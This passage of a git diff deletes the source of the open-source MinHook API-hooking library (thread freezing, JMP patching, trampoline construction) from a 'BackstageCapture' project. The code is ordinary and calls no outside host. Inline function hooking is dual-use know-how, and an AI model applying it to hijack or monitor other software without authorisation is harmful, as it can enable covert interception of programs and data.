EnterSpinLock()/LeaveSpinLock(). -static volatile LONG g_isLocked = FALSE; - -// Private heap handle. If not NULL, this library is initialized. -static HANDLE g_hHeap = NULL; - -// Hook entries. -static struct -{ - PHOOK_ENTRY pItems; // Data heap - UINT capacity; // Size of allocated data heap, items - UINT size; // Actual number of data items -} g_hooks; - -//------------------------------------------------------------------------- -// Returns INVALID_HOOK_POS if not found. -static UINT FindHookEntry(LPVOID pTarget) -{ - UINT i; - for (i = 0; i < g_hooks.size; ++i) - { - if ((ULONG_PTR)pTarget == (ULONG_PTR)g_hooks.pItems[i].pTarget) - return i; - } - - return INVALID_HOOK_POS; -} - -//------------------------------------------------------------------------- -static PHOOK_ENTRY AddHookEntry() -{ - if (g_hooks.pItems == NULL) - { - g_hooks.capacity = INITIAL_HOOK_CAPACITY; - g_hooks.pItems = (PHOOK_ENTRY)HeapAlloc( - g_hHeap, 0, g_hooks.capacity * sizeof(HOOK_ENTRY)); - if (g_hooks.pItems == NULL) - return NULL; - } - else if (g_hooks.size >= g_hooks.capacity) - { - PHOOK_ENTRY p = (PHOOK_ENTRY)HeapReAlloc( - g_hHeap, 0, g_hooks.pItems, (g_hooks.capacity * 2) * sizeof(HOOK_ENTRY)); - if (p == NULL) - return NULL; - - g_hooks.capacity *= 2; - g_hooks.pItems = p; - } - - return &g_hooks.pItems[g_hooks.size++]; -} - -//------------------------------------------------------------------------- -static VOID DeleteHookEntry(UINT pos) -{ - if (pos < g_hooks.size - 1) - g_hooks.pItems[pos] = g_hooks.pItems[g_hooks.size - 1]; - - g_hooks.size--; - - if (g_hooks.capacity / 2 >= INITIAL_HOOK_CAPACITY && g_hooks.capacity / 2 >= g_hooks.size) - { - PHOOK_ENTRY p = (PHOOK_ENTRY)HeapReAlloc( - g_hHeap, 0, g_hooks.pItems, (g_hooks.capacity / 2) * sizeof(HOOK_ENTRY)); - if (p == NULL) - return; - - g_hooks.capacity /= 2; - g_hooks.pItems = p; - } -} - -//------------------------------------------------------------------------- -static DWORD_PTR FindOldIP(PHOOK_ENTRY pHook, DWORD_PTR ip) -{ - UINT i; - - if (pHook->patchAbove && ip == ((DWORD_PTR)pHook->pTarget - sizeof(JMP_REL))) - return (DWORD_PTR)pHook->pTarget; - - for (i = 0; i < pHook->nIP; ++i) - { - if (ip == ((DWORD_PTR)pHook->pTrampoline + pHook->newIPs[i])) - return (DWORD_PTR)pHook->pTarget + pHook->oldIPs[i]; - } - -#if defined(_M_X64) || defined(__x86_64__) - // Check relay function. - if (ip == (DWORD_PTR)pHook->pDetour) - return (DWORD_PTR)pHook->pTarget; -#endif - - return 0; -} - -//------------------------------------------------------------------------- -static DWORD_PTR FindNewIP(PHOOK_ENTRY pHook, DWORD_PTR ip) -{ - UINT i; - for (i = 0; i < pHook->nIP; ++i) - { - if (ip == ((DWORD_PTR)pHook->pTarget + pHook->oldIPs[i])) - return (DWORD_PTR)pHook->pTrampoline + pHook->newIPs[i]; - } - - return 0; -} - -//------------------------------------------------------------------------- -static VOID ProcessThreadIPs(HANDLE hThread, UINT pos, UINT action) -{ - // If the thread suspended in the overwritten area, - // move IP to the proper address. - - CONTEXT c; -#if defined(_M_X64) || defined(__x86_64__) - DWORD64 *pIP = &c.Rip; -#else - DWORD *pIP = &c.Eip; -#endif - UINT count; - - c.ContextFlags = CONTEXT_CONTROL; - if (!GetThreadContext(hThread, &c)) - return; - - if (pos == ALL_HOOKS_POS) - { - pos = 0; - count = g_hooks.size; - } - else - { - count = pos + 1; - } - - for (; pos < count; ++pos) - { - PHOOK_ENTRY pHook = &g_hooks.pItems[pos]; - BOOL enable; - DWORD_PTR ip; - - switch (action) - { - case ACTION_DISABLE: - enable = FALSE; - break; - - case ACTION_ENABLE: - enable = TRUE; - break; - - default: // ACTION_APPLY_QUEUED - enable = pHook->queueEnable; - break; - } - if (pHook->isEnabled == enable) - continue; - - if (enable) - ip = FindNewIP(pHook, *pIP); - else - ip = FindOldIP(pHook, *pIP); - - if (ip != 0) - { - *pIP = ip; - SetThreadContext(hThread, &c); - } - } -} - -//------------------------------------------------------------------------- -static BOOL EnumerateThreads(PFROZEN_THREADS pThreads) -{ - BOOL succeeded = FALSE; - - HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); - if (hSnapshot != INVALID_HANDLE_VALUE) - { - THREADENTRY32 te; - te.dwSize = sizeof(THREADENTRY32); - if (Thread32First(hSnapshot, &te)) - { - succeeded = TRUE; - do - { - if (te.dwSize >= (FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(DWORD)) - && te.th32OwnerProcessID == GetCurrentProcessId() - && te.th32ThreadID != GetCurrentThreadId()) - { - if (pThreads->pItems == NULL) - { - pThreads->capacity = INITIAL_THREAD_CAPACITY; - pThreads->pItems - = (LPDWORD)HeapAlloc(g_hHeap, 0, pThreads->capacity * sizeof(DWORD)); - if (pThreads->pItems == NULL) - { - succeeded = FALSE; - break; - } - } - else if (pThreads->size >= pThreads->capacity) - { - LPDWORD p; - pThreads->capacity *= 2; - p = (LPDWORD)HeapReAlloc( - g_hHeap, 0, pThreads->pItems, pThreads->capacity * sizeof(DWORD)); - if (p == NULL) - { - succeeded = FALSE; - break; - } - - pThreads->pItems = p; - } - pThreads->pItems[pThreads->size++] = te.th32ThreadID; - } - - te.dwSize = sizeof(THREADENTRY32); - } while (Thread32Next(hSnapshot, &te)); - - if (succeeded && GetLastError() != ERROR_NO_MORE_FILES) - succeeded = FALSE; - - if (!succeeded && pThreads->pItems != NULL) - { - HeapFree(g_hHeap, 0, pThreads->pItems); - pThreads->pItems = NULL; - } - } - CloseHandle(hSnapshot); - } - - return succeeded; -} - -//------------------------------------------------------------------------- -static MH_STATUS Freeze(PFROZEN_THREADS pThreads, UINT pos, UINT action) -{ - MH_STATUS status = MH_OK; - - pThreads->pItems = NULL; - pThreads->capacity = 0; - pThreads->size = 0; - if (!EnumerateThreads(pThreads)) - { - status = MH_ERROR_MEMORY_ALLOC; - } - else if (pThreads->pItems != NULL) - { - UINT i; - for (i = 0; i < pThreads->size; ++i) - { - HANDLE hThread = OpenThread(THREAD_ACCESS, FALSE, pThreads->pItems[i]); - BOOL suspended = FALSE; - if (hThread != NULL) - { - DWORD result = SuspendThread(hThread); - if (result != 0xFFFFFFFF) - { - suspended = TRUE; - ProcessThreadIPs(hThread, pos, action); - } - CloseHandle(hThread); - } - - if (!suspended) - { - // Mark thread as not suspended, so it's not resumed later on. - pThreads->pItems[i] = 0; - } - } - } - - return status; -} - -//------------------------------------------------------------------------- -static VOID Unfreeze(PFROZEN_THREADS pThreads) -{ - if (pThreads->pItems != NULL) - { - UINT i; - for (i = 0; i < pThreads->size; ++i) - { - DWORD threadId = pThreads->pItems[i]; - if (threadId != 0) - { - HANDLE hThread = OpenThread(THREAD_ACCESS, FALSE, threadId); - if (hThread != NULL) - { - ResumeThread(hThread); - CloseHandle(hThread); - } - } - } - - HeapFree(g_hHeap, 0, pThreads->pItems); - } -} - -//------------------------------------------------------------------------- -static MH_STATUS EnableHookLL(UINT pos, BOOL enable) -{ - PHOOK_ENTRY pHook = &g_hooks.pItems[pos]; - DWORD oldProtect; - SIZE_T patchSize = sizeof(JMP_REL); - LPBYTE pPatchTarget = (LPBYTE)pHook->pTarget; - - if (pHook->patchAbove) - { - pPatchTarget -= sizeof(JMP_REL); - patchSize += sizeof(JMP_REL_SHORT); - } - - if (!VirtualProtect(pPatchTarget, patchSize, PAGE_EXECUTE_READWRITE, &oldProtect)) - return MH_ERROR_MEMORY_PROTECT; - - if (enable) - { - PJMP_REL pJmp = (PJMP_REL)pPatchTarget; - pJmp->opcode = 0xE9; - pJmp->operand = (INT32)((LPBYTE)pHook->pDetour - (pPatchTarget + sizeof(JMP_REL))); - - if (pHook->patchAbove) - { - PJMP_REL_SHORT pShortJmp = (PJMP_REL_SHORT)pHook->pTarget; - pShortJmp->opcode = 0xEB; - pShortJmp->operand = (INT8)(0 - (sizeof(JMP_REL_SHORT) + sizeof(JMP_REL))); - } - } - else - { - if (pHook->patchAbove) - memcpy(pPatchTarget, pHook->backup, sizeof(JMP_REL) + sizeof(JMP_REL_SHORT)); - else - memcpy(pPatchTarget, pHook->backup, sizeof(JMP_REL)); - } - - VirtualProtect(pPatchTarget, patchSize, oldProtect, &oldProtect); - - // Just-in-case measure. - FlushInstructionCache(GetCurrentProcess(), pPatchTarget, patchSize); - - pHook->isEnabled = enable; - pHook->queueEnable = enable; - - return MH_OK; -} - -//------------------------------------------------------------------------- -static MH_STATUS EnableAllHooksLL(BOOL enable) -{ - MH_STATUS status = MH_OK; - UINT i, first = INVALID_HOOK_POS; - - for (i = 0; i < g_hooks.size; ++i) - { - if (g_hooks.pItems[i].isEnabled != enable) - { - first = i; - break; - } - } - - if (first != INVALID_HOOK_POS) - { - FROZEN_THREADS threads; - status = Freeze(&threads, ALL_HOOKS_POS, enable ? ACTION_ENABLE : ACTION_DISABLE); - if (status == MH_OK) - { - for (i = first; i < g_hooks.size; ++i) - { - if (g_hooks.pItems[i].isEnabled != enable) - { - status = EnableHookLL(i, enable); - if (status != MH_OK) - break; - } - } - - Unfreeze(&threads); - } - } - - return status; -} - -//------------------------------------------------------------------------- -static VOID EnterSpinLock(VOID) -{ - SIZE_T spinCount = 0; - - // Wait until the flag is FALSE. - while (InterlockedCompareExchange(&g_isLocked, TRUE, FALSE) != FALSE) - { - // No need to generate a memory barrier here, since InterlockedCompareExchange() - // generates a full memory barrier itself. - - // Prevent the loop from being too busy. - if (spinCount < 32) - Sleep(0); - else - Sleep(1); - - spinCount++; - } -} - -//------------------------------------------------------------------------- -static VOID LeaveSpinLock(VOID) -{ - // No need to generate a memory barrier here, since InterlockedExchange() - // generates a full memory barrier itself. - - InterlockedExchange(&g_isLocked, FALSE); -} - -//------------------------------------------------------------------------- -MH_STATUS WINAPI MH_Initialize(VOID) -{ - MH_STATUS status = MH_OK; - - EnterSpinLock(); - - if (g_hHeap == NULL) - { - g_hHeap = HeapCreate(0, 0, 0); - if (g_hHeap != NULL) - { - // Initialize the internal function buffer. - InitializeBuffer(); - } - else - { - status = MH_ERROR_MEMORY_ALLOC; - } - } - else - { - status = MH_ERROR_ALREADY_INITIALIZED; - } - - LeaveSpinLock(); - - return status; -} - -//------------------------------------------------------------------------- -MH_STATUS WINAPI MH_Uninitialize(VOID) -{ - MH_STATUS status = MH_OK; - - EnterSpinLock(); - - if (g_hHeap != NULL) - { - status = EnableAllHooksLL(FALSE); - if (status == MH_OK) - { - // Free the internal function buffer. - - // HeapFree is actually not required, but some tools detect a false - // memory leak without HeapFree. - - UninitializeBuffer(); - - HeapFree(g_hHeap, 0, g_hooks.pItems); - HeapDestroy(g_hHeap); - - g_hHeap = NULL; - - g_hooks.pItems = NULL; - g_hooks.capacity = 0; - g_hooks.size = 0; - } - } - else - { - status = MH_ERROR_NOT_INITIALIZED; - } - - LeaveSpinLock(); - - return status; -} - -//------------------------------------------------------------------------- -MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID *ppOriginal) -{ - MH_STATUS status = MH_OK; - - EnterSpinLock(); - - if (g_hHeap != NULL) - { - if (IsExecutableAddress(pTarget) && IsExecutableAddress(pDetour)) - { - UINT pos = FindHookEntry(pTarget); - if (pos == INVALID_HOOK_POS) - { - LPVOID pBuffer = AllocateBuffer(pTarget); - if (pBuffer != NULL) - { - TRAMPOLINE ct; - - ct.pTarget = pTarget; - ct.pDetour = pDetour; - ct.pTrampoline = pBuffer; - if (CreateTrampolineFunction(&ct)) - { - PHOOK_ENTRY pHook = AddHookEntry(); - if (pHook != NULL) - { - pHook->pTarget = ct.pTarget; -#if defined(_M_X64) || defined(__x86_64__) - pHook->pDetour = ct.pRelay; -#else - pHook->pDetour = ct.pDetour; -#endif - pHook->pTrampoline = ct.pTrampoline; - pHook->patchAbove = ct.patchAbove; - pHook->isEnabled = FALSE; - pHook->queueEnable = FALSE; - pHook->nIP = ct.nIP; - memcpy(pHook->oldIPs, ct.oldIPs, ARRAYSIZE(ct.oldIPs)); - memcpy(pHook->newIPs, ct.newIPs, ARRAYSIZE(ct.newIPs)); - - // Back up the target function. - - if (ct.patchAbove) - { - memcpy( - pHook->backup, - (LPBYTE)pTarget - sizeof(JMP_REL), - sizeof(JMP_REL) + sizeof(JMP_REL_SHORT)); - } - else - { - memcpy(pHook->backup, pTarget, sizeof(JMP_REL)); - } - - if (ppOriginal != NULL) - *ppOriginal = pHook->pTrampoline; - } - else - { - status = MH_ERROR_MEMORY_ALLOC; - } - } - else - { - status = MH_ERROR_UNSUPPORTED_FUNCTION; - } - - if (status != MH_OK) - { - FreeBuffer(pBuffer); - } - } - else - { - status = MH_ERROR_MEMORY_ALLOC; - } - } - else - { - status = MH_ERROR_ALREADY_CREATED; - } - } - else - { - status = MH_ERROR_NOT_EXECUTABLE; - } - } - else - { - status = MH_ERROR_NOT_INITIALIZED; - } - - LeaveSpinLock(); - - return status; -} - -//------------------------------------------------------------------------- -MH_STATUS WINAPI MH_RemoveHook(LPVOID pTarget) -{ - MH_STATUS status = MH_OK; - - EnterSpinLock(); - - if (g_hHeap != NULL) - { - UINT pos = FindHookEntry(pTarget); - if (pos != INVALID_HOOK_POS) - { - if (g_hooks.pItems[pos].isEnabled) - { - FROZEN_THREADS threads; - status = Freeze(&threads, pos, ACTION_DISABLE); - if (status == MH_OK) - { - status = EnableHookLL(pos, FALSE); - - Unfreeze(&threads); - } - } - - if (status == MH_OK) - { - FreeBuffer(g_hooks.pItems[pos].pTrampoline); - DeleteHookEntry(pos); - } - } - else - { - status = MH_ERROR_NOT_CREATED; - } - } - else - { - status = MH_ERROR_NOT_INITIALIZED; - } - - LeaveSpinLock(); - - return status; -} - -//------------------------------------------------------------------------- -static MH_STATUS EnableHook(LPVOID pTarget, BOOL enable) -{ - MH_STATUS status = MH_OK; - - EnterSpinLock(); - - if (g_hHeap != NULL) - { - if (pTarget == MH_ALL_HOOKS) - { - status = EnableAllHooksLL(enable); - } - else - { - UINT pos = FindHookEntry(pTarget); - if (pos != INVALID_HOOK_POS) - { - if (g_hooks.pItems[pos].isEnabled != enable) - { - FROZEN_THREADS threads; - status = Freeze(&threads, pos, ACTION_ENABLE); - if (status == MH_OK) - { - status = EnableHookLL(pos, enable); - - Unfreeze(&threads); - } - } - else - { - status = enable ? MH_ERROR_ENABLED : MH_ERROR_DISABLED; - } - } - else - { - status = MH_ERROR_NOT_CREATED; - } - } - } - else - { - status = MH_ERROR_NOT_INITIALIZED; - } - - LeaveSpinLock(); - - return status; -} - -//------------------------------------------------------------------------- -MH_STATUS WINAPI MH_EnableHook(LPVOID pTarget) -{ - return EnableHook(pTarget, TRUE); -} - -//------------------------------------------------------------------------- -MH_STATUS WINAPI MH_DisableHook(LPVOID pTarget) -{ - return EnableHook(pTarget, FALSE); -} - -//------------------------------------------------------------------------- -static MH_STATUS QueueHook(LPVOID pTarget, BOOL queueEnable) -{ - MH_STATUS status = MH_OK; - - EnterSpinLock(); - - if (g_hHeap != NULL) - { - if (pTarget == MH_ALL_HOOKS) - { - UINT i; - for (i = 0; i < g_hooks.size; ++i) - g_hooks.pItems[i].queueEnable = queueEnable; - } - else - { - UINT pos = FindHookEntry(pTarget); - if (pos != INVALID_HOOK_POS) - { - g_hooks.pItems[pos].queueEnable = queueEnable; - } - else - { - status = MH_ERROR_NOT_CREATED; - } - } - } - else - { - status = MH_ERROR_NOT_INITIALIZED; - } - - LeaveSpinLock(); - - return status; -} - -//------------------------------------------------------------------------- -MH_STATUS WINAPI MH_QueueEnableHook(LPVOID pTarget) -{ - return QueueHook(pTarget, TRUE); -} - -//------------------------------------------------------------------------- -MH_STATUS WINAPI MH_QueueDisableHook(LPVOID pTarget) -{ - return QueueHook(pTarget, FALSE); -} - -//------------------------------------------------------------------------- -MH_STATUS WINAPI MH_ApplyQueued(VOID) -{ - MH_STATUS status = MH_OK; - UINT i, first = INVALID_HOOK_POS; - - EnterSpinLock(); - - if (g_hHeap != NULL) - { - for (i = 0; i < g_hooks.size; ++i) - { - if (g_hooks.pItems[i].isEnabled != g_hooks.pItems[i].queueEnable) - { - first = i; - break; - } - } - - if (first != INVALID_HOOK_POS) - { - FROZEN_THREADS threads; - status = Freeze(&threads, ALL_HOOKS_POS, ACTION_APPLY_QUEUED); - if (status == MH_OK) - { - for (i = first; i < g_hooks.size; ++i) - { - PHOOK_ENTRY pHook = &g_hooks.pItems[i]; - if (pHook->isEnabled != pHook->queueEnable) - { - status = EnableHookLL(i, pHook->queueEnable); - if (status != MH_OK) - break; - } - } - - Unfreeze(&threads); - } - } - } - else - { - status = MH_ERROR_NOT_INITIALIZED; - } - - LeaveSpinLock(); - - return status; -} - -//------------------------------------------------------------------------- -MH_STATUS WINAPI MH_CreateHookApiEx( - LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, - LPVOID *ppOriginal, LPVOID *ppTarget) -{ - HMODULE hModule; - LPVOID pTarget; - - hModule = GetModuleHandleW(pszModule); - if (hModule == NULL) - return MH_ERROR_MODULE_NOT_FOUND; - - pTarget = (LPVOID)GetProcAddress(hModule, pszProcName); - if (pTarget == NULL) - return MH_ERROR_FUNCTION_NOT_FOUND; - - if (ppTarget != NULL) - *ppTarget = pTarget; - - return MH_CreateHook(pTarget, pDetour, ppOriginal); -} - -//------------------------------------------------------------------------- -MH_STATUS WINAPI MH_CreateHookApi( - LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID *ppOriginal) -{ - return MH_CreateHookApiEx(pszModule, pszProcName, pDetour, ppOriginal, NULL); -} - -//------------------------------------------------------------------------- -const char *WINAPI MH_StatusToString(MH_STATUS status) -{ -#define MH_ST2STR(x) \ - case x: \ - return #x; - - switch (status) { - MH_ST2STR(MH_UNKNOWN) - MH_ST2STR(MH_OK) - MH_ST2STR(MH_ERROR_ALREADY_INITIALIZED) - MH_ST2STR(MH_ERROR_NOT_INITIALIZED) - MH_ST2STR(MH_ERROR_ALREADY_CREATED) - MH_ST2STR(MH_ERROR_NOT_CREATED) - MH_ST2STR(MH_ERROR_ENABLED) - MH_ST2STR(MH_ERROR_DISABLED) - MH_ST2STR(MH_ERROR_NOT_EXECUTABLE) - MH_ST2STR(MH_ERROR_UNSUPPORTED_FUNCTION) - MH_ST2STR(MH_ERROR_MEMORY_ALLOC) - MH_ST2STR(MH_ERROR_MEMORY_PROTECT) - MH_ST2STR(MH_ERROR_MODULE_NOT_FOUND) - MH_ST2STR(MH_ERROR_FUNCTION_NOT_FOUND) - } - -#undef MH_ST2STR - - return "(unknown)"; -} diff --git a/BackstageCapture/Minhook/src/trampoline.c b/BackstageCapture/Minhook/src/trampoline.c deleted file mode 100644 index cf8ce05..0000000 --- a/BackstageCapture/Minhook/src/trampoline.c +++ /dev/null @@ -1,320 +0,0 @@ -/* - * MinHook - The Minimalistic API Hooking Library for x64/x86 - * Copyright (C) 2009-2017 Tsuda Kageyu. - * All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS - * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED - * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A - * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER - * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, - * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, - * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR - * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF - * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING - * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS - * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -#include - -#if defined(_MSC_VER) && !defined(MINHOOK_DISABLE_INTRINSICS) - #define ALLOW_INTRINSICS - #include -#endif - -#ifndef ARRAYSIZE - #define ARRAYSIZE(A) (sizeof(A)/sizeof((A)[0])) -#endif - -#if defined(_M_X64) || defined(__x86_64__) - #include "./hde/hde64.h" - typedef hde64s HDE; - #define HDE_DISASM(code, hs) hde64_disasm(code, hs) -#else - #include "./hde/hde32.h" - typedef hde32s HDE; - #define HDE_DISASM(code, hs) hde32_disasm(code, hs) -#endif - -#include "trampoline.h" -#include "buffer.h" - -// Maximum size of a trampoline function. -#if defined(_M_X64) || defined(__x86_64__) - #define TRAMPOLINE_MAX_SIZE (MEMORY_SLOT_SIZE - sizeof(JMP_ABS)) -#else - #define TRAMPOLINE_MAX_SIZE MEMORY_SLOT_SIZE -#endif - -//------------------------------------------------------------------------- -static BOOL IsCodePadding(LPBYTE pInst, UINT size) -{ - UINT i; - - if (pInst[0] != 0x00 && pInst[0] != 0x90 && pInst[0] != 0xCC) - return FALSE; - - for (i = 1; i < size; ++i) - { - if (pInst[i] != pInst[0]) - return FALSE; - } - return TRUE; -} - -//------------------------------------------------------------------------- -BOOL CreateTrampolineFunction(PTRAMPOLINE ct) -{ -#if defined(_M_X64) || defined(__x86_64__) - CALL_ABS call = { - 0xFF, 0x15, 0x00000002, // FF15 00000002: CALL [RIP+8] - 0xEB, 0x08, // EB 08: JMP +10 - 0x0000000000000000ULL // Absolute destination address - }; - JMP_ABS jmp = { - 0xFF, 0x25, 0x00000000, // FF25 00000000: JMP [RIP+6] - 0x0000000000000000ULL // Absolute destination address - }; - JCC_ABS jcc = { - 0x70, 0x0E, // 7* 0E: J** +16 - 0xFF, 0x25, 0x00000000, // FF25 00000000: JMP [RIP+6] - 0x0000000000000000ULL // Absolute destination address - }; -#else - CALL_REL call = { - 0xE8, // E8 xxxxxxxx: CALL +5+xxxxxxxx - 0x00000000 // Relative destination address - }; - JMP_REL jmp = { - 0xE9, // E9 xxxxxxxx: JMP +5+xxxxxxxx - 0x00000000 // Relative destination address - }; - JCC_REL jcc = { - 0x0F, 0x80, // 0F8* xxxxxxxx: J** +6+xxxxxxxx - 0x00000000 // Relative destination address - }; -#endif - - UINT8 oldPos = 0; - UINT8 newPos = 0; - ULONG_PTR jmpDest = 0; // Destination address of an internal jump. - BOOL finished = FALSE; // Is the function completed? -#if defined(_M_X64) || defined(__x86_64__) - UINT8 instBuf[16]; -#endif - - ct->patchAbove = FALSE; - ct->nIP = 0; - - do - { - HDE hs; - UINT copySize; - LPVOID pCopySrc; - ULONG_PTR pOldInst = (ULONG_PTR)ct->pTarget + oldPos; - ULONG_PTR pNewInst = (ULONG_PTR)ct->pTrampoline + newPos; - - copySize = HDE_DISASM((LPVOID)pOldInst, &hs); - if (hs.flags & F_ERROR) - return FALSE; - - pCopySrc = (LPVOID)pOldInst; - if (oldPos >= sizeof(JMP_REL)) - { - // The trampoline function is long enough. - // Complete the function with the jump to the target function. -#if defined(_M_X64) || defined(__x86_64__) - jmp.address = pOldInst; -#else - jmp.operand = (INT32)(pOldInst - (pNewInst + sizeof(jmp))); -#endif - pCopySrc = &jmp; - copySize = sizeof(jmp); - - finished = TRUE; - } -#if defined(_M_X64) || defined(__x86_64__) - else if ((hs.modrm & 0xC7) == 0x05) - { - // Instructions using RIP relative addressing. (ModR/M = 00???101B) - - // Modify the RIP relative address. - PUINT32 pRelAddr; - - // Avoid using memcpy to reduce the footprint. -#ifndef ALLOW_INTRINSICS - memcpy(instBuf, (LPBYTE)pOldInst, copySize); -#else - __movsb(instBuf, (LPBYTE)pOldInst, copySize); -#endif - pCopySrc = instBuf; - - // Relative address is stored at (instruction length - immediate value length - 4). - pRelAddr = (PUINT32)(instBuf + hs.len - ((hs.flags & 0x3C) >> 2) - 4); - *pRelAddr - = (UINT32)((pOldInst + hs.len + (INT32)hs.disp.disp32) - (pNewInst + hs.len)); - - // Complete the function if JMP (FF /4). - if (hs.opcode == 0xFF && hs.modrm_reg == 4) - finished = TRUE; - } -#endif - else if (hs.opcode == 0xE8) - { - // Direct relative CALL - ULONG_PTR dest = pOldInst + hs.len + (INT32)hs.imm.imm32; -#if defined(_M_X64) || defined(__x86_64__) - call.address = dest; -#else - call.operand = (INT32)(dest - (pNewInst + sizeof(call))); -#endif - pCopySrc = &call; - copySize = sizeof(call); - } - else if ((hs.opcode & 0xFD) == 0xE9) - { - // Direct relative JMP (EB or E9) - ULONG_PTR dest = pOldInst + hs.len; - - if (hs.opcode == 0xEB) // isShort jmp - dest += (INT8)hs.imm.imm8; - else - dest += (INT32)hs.imm.imm32; - - // Simply copy an internal jump. - if ((ULONG_PTR)ct->pTarget <= dest - && dest < ((ULONG_PTR)ct->pTarget + sizeof(JMP_REL))) - { - if (jmpDest < dest) - jmpDest = dest; - } - else - { -#if defined(_M_X64) || defined(__x86_64__) - jmp.address = dest; -#else - jmp.operand = (INT32)(dest - (pNewInst + sizeof(jmp))); -#endif - pCopySrc = &jmp; - copySize = sizeof(jmp); - - // Exit the function if it is not in the branch. - finished = (pOldInst >= jmpDest); - } - } - else if ((hs.opcode & 0xF0) == 0x70 - || (hs.opcode & 0xFC) == 0xE0 - || (hs.opcode2 & 0xF0) == 0x80) - { - // Direct relative Jcc - ULONG_PTR dest = pOldInst + hs.len; - - if ((hs.opcode & 0xF0) == 0x70 // Jcc - || (hs.opcode & 0xFC) == 0xE0) // LOOPNZ/LOOPZ/LOOP/JECXZ - dest += (INT8)hs.imm.imm8; - else - dest += (INT32)hs.imm.imm32; - - // Simply copy an internal jump. - if ((ULONG_PTR)ct->pTarget <= dest - && dest < ((ULONG_PTR)ct->pTarget + sizeof(JMP_REL))) - { - if (jmpDest < dest) - jmpDest = dest; - } - else if ((hs.opcode & 0xFC) == 0xE0) - { - // LOOPNZ/LOOPZ/LOOP/JCXZ/JECXZ to the outside are not supported. - return FALSE; - } - else - { - UINT8 cond = ((hs.opcode != 0x0F ? hs.opcode : hs.opcode2) & 0x0F); -#if defined(_M_X64) || defined(__x86_64__) - // Invert the condition in x64 mode to simplify the conditional jump logic. - jcc.opcode = 0x71 ^ cond; - jcc.address = dest; -#else - jcc.opcode1 = 0x80 | cond; - jcc.operand = (INT32)(dest - (pNewInst + sizeof(jcc))); -#endif - pCopySrc = &jcc; - copySize = sizeof(jcc); - } - } - else if ((hs.opcode & 0xFE) == 0xC2) - { - // RET (C2 or C3) - - // Complete the function if not in a branch. - finished = (pOldInst >= jmpDest); - } - - // Can't alter the instruction length in a branch. - if (pOldInst < jmpDest && copySize != hs.len) - return FALSE; - - // Trampoline function is too large. - if ((newPos + copySize) > TRAMPOLINE_MAX_SIZE) - return FALSE; - - // Trampoline function has too many instructions. - if (ct->nIP >= ARRAYSIZE(ct->oldIPs)) - return FALSE; - - ct->oldIPs[ct->nIP] = oldPos; - ct->newIPs[ct->nIP] = newPos; - ct->nIP++; - - // Avoid using memcpy to reduce the footprint. -#ifndef ALLOW_INTRINSICS - memcpy((LPBYTE)ct->pTrampoline + newPos, pCopySrc, copySize); -#else - __movsb((LPBYTE)ct->pTrampoline + newPos, (LPBYTE)pCopySrc, copySize); -#endif - newPos += copySize; - oldPos += hs.len; - } while (!finished); - - // Is there enough place for a long jump? - if (oldPos < sizeof(JMP_REL) - && !IsCodePadding((LPBYTE)ct->pTarget + oldPos, sizeof(JMP_REL) - oldPos)) - { - // Is there enough place for a short jump? - if (oldPos < sizeof(JMP_REL_SHORT) - && !IsCodePadding((LPBYTE)ct->pTarget + oldPos, sizeof(JMP_REL_SHORT) - oldPos)) - { - return FALSE; - } - - // Can we place the long jump above the function? - if (!IsExecutableAddress((LPBYTE)ct->pTarget - sizeof(JMP_REL))) - return FALSE; - - if (!IsCodePadding((LPBYTE)ct->pTarget - sizeof(JMP_REL), sizeof(JMP_REL))) - return FALSE; - - ct->patchAbove = TRUE; - } - -#if defined(_M_X64) || defined(__x86_64__) - // Create a relay function. - jmp.address = (ULONG_PTR)ct->pDetour; - - ct->pRelay = (LPBYTE)ct->pTrampoline + newPos; - memcpy(ct->pRelay, &jmp, sizeof(jmp)); -#endif - - return TRUE; -} diff --git a/BackstageCapture/Minhook/src/trampoline.h b/BackstageCapture/Minhook/src/trampoline.h deleted file mode 100644 index f7efb36..0000000 --- a/BackstageCapture/Minhook/src/trampoline.h +++ /dev/null @@ -1,105 +0,0 @@ -/* - * MinHook - The Minimalistic API Hooking Library for x64/x86 - * Copyright (C) 2009-2017 Tsuda Kageyu. - * All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS - * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED - * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A - * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER - * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 